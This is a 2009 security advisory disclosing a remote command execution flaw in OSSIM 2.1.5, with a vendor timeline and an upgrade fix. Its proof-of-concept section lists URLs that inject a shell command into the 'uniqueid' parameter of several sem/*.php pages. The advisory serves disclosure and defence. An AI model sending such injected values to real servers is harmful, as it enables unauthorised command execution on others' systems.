64 lines
No EOL
2.5 KiB
Text
64 lines
No EOL
2.5 KiB
Text
Advisory Name: Remote Command Execution in OSSIM
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Vulnerability Class: Remote Command Execution
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Release Date: 12-16-2009
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Affected Applications: Confirmed in OSSIM 2.1.5. Other versions may also be affected.
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Affected Platforms: Multiple
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Local / Remote: Remote
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Severity: High – CVSS: 9 (AV:N/AC:L/Au:S/C:C/I:C/A:C)
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Researcher: Nahuel Grisolía
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Vendor Status: Acknowledged/Fixed. New release available (OSSIM 2.1.5-4)
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Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf
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Vulnerability Description:
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OSSIM is prone to a remote command execution vulnerability because the software fails to adequately
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sanitize user-supplied input.
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Successful attacks can compromise the affected software and possibly the computer running OSSIM.
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Proof of Concept:
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http://server/ossim/sem/wcl.php?uniqueid=1;ls%20%3E%20/tmp/listing
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http://server/ossim/sem/storage_graphs.php?uniqueid=;ls%20%3E%20/tmp/listing;
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http://server/ossim/sem/storage_graphs2.php?uniqueid=;ls%20%3E%20/tmp/listing;
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http://server/ossim/sem/storage_graphs3.php?uniqueid=;ls%20%3E%20/tmp/listing;
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http://server/ossim/sem/storage_graphs4.php?uniqueid=;ls%20%3E%20/tmp/listing;
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Impact:
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Direct execution of arbitrary code in the context of Webserver user.
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Solution: Upgrade to OSSIM 2.1.5-4
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Vendor Response:
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2009-12-08 – Vulnerability is identified
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2009-12-09 – Vendor is contacted
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2009-12-09 – Vendor confirmed vulnerability
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2009-12-16 – Vendor released fixed version
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2009-12-16 – Vulnerability is published
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Contact Information:
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For more information regarding the vulnerability feel free to contact the researcher at
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ngrisolia <at> cybsec <dot> com
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About CYBSEC S.A. Security Systems:
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Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in
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Information Security. Their area of services covers Latin America, Spain and over 250 customers are a
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proof of their professional life.
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To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other
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software and/or hardware provider companies.
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Our services are strictly focused on Information Security, protecting our clients from emerging security
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threats, maintaining their IT deployments available, safe, and reliable.
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Beyond professional services, CYBSEC is continuously researching new defense and attack techniques
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and contributing with the security community with high quality information exchange.
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For more information, please visit www.cybsec.com
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(c) 2009 - CYBSEC S.A. Security Systems |